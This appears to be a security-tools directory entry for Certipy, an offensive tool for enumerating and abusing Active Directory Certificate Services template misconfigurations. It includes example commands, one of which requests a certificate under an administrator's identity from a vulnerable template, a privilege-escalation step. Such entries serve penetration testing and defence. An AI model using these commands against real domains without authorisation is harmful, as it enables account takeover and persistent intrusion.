← All tools

Certipy

https://github.com/ly4k/Certipy

Open Source

Categories

Exploitation Reconnaissance

Description

Offensive tool for Active Directory Certificate Services (AD CS) enumeration and abuse. Finds and exploits ESC1-ESC13 misconfigurations in certificate templates for privilege escalation and persistence.

Keywords

AD CS PKI certificate services ESC privilege escalation ADCS Kerberos Active Directory

Example Usage

certipy find -u user@corp.local -p password -dc-ip 192.168.1.1
certipy req -u user@corp.local -p password -ca corp-CA -template VulnTemplate -upn admin@corp.local